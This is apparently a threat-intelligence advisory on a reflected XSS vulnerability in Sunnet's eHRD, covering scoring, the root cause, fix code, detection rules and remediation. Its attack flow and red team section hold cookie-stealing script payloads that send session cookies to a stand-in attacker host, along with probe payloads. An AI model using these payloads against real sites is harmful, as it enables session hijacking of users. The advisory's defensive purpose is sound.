CVE-2025-9567

Executive Summary

CVE-2025-9567 is a Reflected Cross-Site Scripting (XSS) vulnerability in the eHRD application developed by Sunnet. This flaw allows an unauthenticated, remote attacker to inject and execute arbitrary JavaScript code in the context of a victim’s browser. The attack vector relies on social engineering (phishing) to trick a user into clicking a crafted link. Once executed, the attacker can steal session cookies, deface pages, redirect users to malicious sites, or perform actions on behalf of the victim within the eHRD application.

The vulnerability has a CVSS v3.1 base score of 6.1 (Medium) due to the requirement for user interaction and the limited impact on confidentiality and integrity. No public exploit code or proof-of-concept is currently available, and the vendor has not released a patch. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary web application (eHRD) developed by Sunnet. No supply chain component is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector (AV): Network – the vulnerability is exploitable remotely.
• Attack Complexity (AC): Low – no special conditions are required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): Required – the victim must click a malicious link.
• Scope (S): Changed – the injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – limited data exposure (e.g., session tokens).
• Integrity (I): Low – limited ability to modify content.
• Availability (A): None – no impact on system availability.

Threat Level: Medium. While the vulnerability is easy to exploit, it requires user interaction and has limited impact. The lack of a patch increases risk for organizations using eHRD.

Deep Dive & Mechanics

The eHRD application fails to properly sanitize user-supplied input before reflecting it in the HTTP response. An attacker can craft a URL containing malicious JavaScript code in a query parameter (e.g., ?search=<script>alert(1)</script>). When the victim clicks the link, the server reflects the payload in the HTML output without encoding, causing the browser to execute the script.

Attack Flow:

1. Attacker crafts a malicious URL: https://target-ehrd.com/search?q=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>
2. Attacker sends the link via email, social media, or other phishing channels.
3. Victim clicks the link while authenticated to eHRD.
4. The server returns a page containing the unescaped payload.
5. The victim’s browser executes the script, sending the session cookie to the attacker.
6. Attacker uses the stolen cookie to impersonate the victim.

Root Cause: Lack of output encoding/escaping for user-controlled input in the response.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual PHP example):

<?php
$search = $_GET['q'];
echo "<div>Search results for: " . $search . "</div>";
?>

Patched Code (Conceptual fix):

<?php
$search = htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8');
echo "<div>Search results for: " . $search . "</div>";
?>

The patched version uses htmlspecialchars() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A vulnerable instance of Sunnet eHRD (version unknown).
• A web browser or tool like curl to test.

Manual Exploitation:

1. Identify a reflected parameter (e.g., q, search, term).
2. Inject a simple payload: ?q=<script>alert('XSS')</script>
3. If an alert box appears, the parameter is vulnerable.

Automated Exploitation (using curl):

curl -v "http://target-ehrd.com/search?q=<script>alert(1)</script>"

Advanced Payload (cookie theft):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defensive)

Detection:

• Monitor web server logs for unusual query strings containing <script>, onerror, javascript:, etc.
• Use a Web Application Firewall (WAF) to block reflected XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Lab Setup for Testing:

1. Deploy a vulnerable eHRD instance in an isolated environment.
2. Use a browser with developer tools to inspect reflected content.
3. Simulate attacks using Burp Suite or OWASP ZAP.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing <script> tags in query parameters.
  • Outbound connections to attacker-controlled domains from eHRD users.
• Host IOCs:
  • Web server logs showing alert(, document.cookie, or fetch( in request URIs.
• File IOCs:
  • No specific file-based IOCs; this is a server-side reflection issue.

Detection Engineering

YARA Rule

rule Reflected_XSS_eHRD {
    meta:
        description = "Detects reflected XSS attempts against Sunnet eHRD"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-9567"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $xss3 = /javascript\s*:\s*/i
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against Sunnet eHRD
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests with XSS payloads targeting eHRD
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in search queries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9567 Reflected XSS in Sunnet eHRD"; flow:to_server,established; content:"GET"; http_method; content:"/search"; http_uri; pcre:"/(<script|onerror|javascript:)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Input Validation: Sanitize all user-supplied input using a whitelist approach.
2. Output Encoding: Encode all reflected data using context-appropriate escaping (e.g., HTML entity encoding).
3. WAF Rules: Deploy a Web Application Firewall with rules to block common XSS patterns.
4. CSP Header: Implement a strict Content Security Policy (e.g., script-src 'self').

Long-Term Fix:

• Contact Sunnet for an official patch. If unavailable, consider replacing the eHRD application with a supported alternative.

Workaround:

• Disable the vulnerable functionality (e.g., search feature) if possible.

Valters IT – DevSecOps & Cyber Threat Intelligence